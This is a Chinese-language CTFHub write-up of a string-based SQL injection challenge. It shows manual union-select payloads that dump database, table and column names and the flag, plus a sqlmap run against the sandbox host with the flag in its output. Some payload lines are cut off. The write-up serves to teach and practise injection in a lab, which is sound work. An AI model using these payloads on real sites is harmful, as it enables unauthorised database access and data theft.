



字符型注入

📅 2021-01-04 | 📁 Skill , Web , SQL注入

Skill | Web | SQL注入 | 字符型注入

[点击此处](#)获得更好的阅读体验

文章来源

题目考点

- SQL字符型注入

解题思路

字符型注入要考虑到 引号闭合 和 注释

判断注入



- 1 ?id=1' and 1=1 --+ 返回正确
- 2 ?id=1' and 1=2 --+ 返回错误

猜字段



- 1 ?id=1' order by 2 --+ 返回正确
- 2 ?id=1' order by 3 --+ 返回错误

得出字段数为 2

下面为测试空格字符代替情况（可跳过）



```
1  ?id=1' order by 2 -- - 返回正确
2  ?id=1' order by 2 -- / 返回正确
```

爆数据库名



```
1  ?id=1' and 1=2 union select 1,database()--+
```

得到数据库 `sql`

爆表名



```
1 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_s
```



爆列名



```
1  ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.colu
```



爆字段内容（flag）



```
1  ?id=1' and 1=2 union select 1,group_concat(flag) from sql.flag--+
```

解法1-使用sqlmap

```
PS D:\CTF工具\sqlmap> python sqlmap.py -u http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1%27 --tables
[1.4.2.38#dev]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's
responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon-
sible for any misuse or damage caused by this program

[*] starting @ 10:20:24 /2020-03-11/

[10:20:25] [WARNING] it appears that you have provided tainted parameter values ('id=1'') with most likely leftover char-
acters/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to
run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[10:20:26] [INFO] testing connection to the target URL
[10:20:27] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:20:27] [INFO] testing if the target URL content is stable
[10:20:27] [INFO] target URL content is stable
[10:20:27] [INFO] testing if the target URL content is stable
```

```
[10:55:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:55:11] [INFO] fetching database names
[10:55:11] [INFO] fetching number of databases
[10:55:11] [INFO] resumed: 4
[10:55:11] [INFO] resumed: information_schema
[10:55:11] [INFO] resumed: mysql
[10:55:11] [INFO] resumed: performance_schema
[10:55:11] [INFO] resumed: sql
[10:55:11] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sql'
[10:55:11] [INFO] fetching number of tables for database 'sql'
[10:55:11] [WARNING] time-based comparison requires larger statistical model, please wait.....
(done)
[10:55:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[10:55:26] [INFO] retrieved:
[10:55:31] [INFO] adjusting time delay to 1 second due to good response times
news
[10:56:02] [INFO] retrieved: flag
[10:56:17] [INFO] fetching number of tables for database 'information_schema'
[10:56:17] [INFO] resumed: 76
[10:56:17] [INFO] resumed: ALL_PLUGINS
[10:56:17] [INFO] resumed: APPLICABLE_ROLES
[10:56:17] [INFO] resumed: CHARACTER_SETS
```

<https://writeup.ctfhub.com/Skill/Web/SQL注入/3steV94h29brUrEiwuGp9n.html>

```
flag
[10:57:47] [INFO] retrieved: varchar(100)
Database: sqli
Table: flag
[1 column]
+-----+
| Column | Type          |
+-----+
| flag   | varchar(100)  |
+-----+

[10:58:26] [INFO] fetching columns for table 'flag' in database 'sqli'
[10:58:26] [INFO] resumed: 1
[10:58:26] [INFO] resumed: flag
[10:58:26] [INFO] fetching entries for table 'flag' in database 'sqli'
[10:58:26] [INFO] fetching number of entries for table 'flag' in database 'sqli'
[10:58:26] [INFO] retrieved: 1
[10:58:28] [WARNING] reflective value(s) found and filtering out of statistical model, please wait
..... (done)
ctfhub {732e10bbdae82853c563f931561546545a238e44}
Database: sqli
Table: flag
[1 entry]
+-----+
| flag                                     |
+-----+
| ctfhub {732e10bbdae82853c563f931561546545a238e44} |
+-----+

[11:01:33] [INFO] table 'sqli.flag' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\challenge-d390b9f3ff349c16.sandbox.ctfhub.com\dump\sqli\flag.csv'
[11:01:33] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\challenge-d390b9f3ff349c16.sandbox.ctfhub.com'

[*] ending @ 11:01:33 /2020-03-11/
```

解法2-手工

和整数型一样，先进行正常查询

SQL 字符型注入

ID

输入1试试?

Search

```
select * from news where id='1'
```

ID: 1

Data: ctfhub


CTFHUB

然后查询数据库名称

SQL 字符型注入

ID


输入1试试?

Search

```
select * from news where id='123' union select database(),2 #'
```

ID: sqli

Data: 2


CTFHUB

查询 sqli 库的表名

SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='123' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #'
```

ID: news,flag

Data: 3



CTFHub

查询 `sqli` 库中 `flag` 表的字段名称

SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='123' union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #'
```

ID: flag

Data: 3



CTFHub

<https://blog.coderice.com/2017/07/25/>

查询flag

SQL 字符型注入

ID 123' union select flag,3 from sqli.flag #

Search

```
select * from news where id='123' union select flag,3 from sqli.flag #'
```

ID: ctfhub(732e10bbdae82853c563f931561546545a238e44)

Data: 3



CTFHub

本文作者: CTFHub**本文链接:** <https://writeup.ctfhub.com/Skill/Web/SQL注入/3steV94h29brUrEiwuGp9n.html>**版权声明:** 本博客所有文章除特别声明外, 均采用 [CC BY-NC-SA](#) 许可协议。转载请注明出处!

Skill

Web

SQL注入

< 整数型注入

CrackMe1 >

由 Hexo & NexT.Gemini 强力驱动

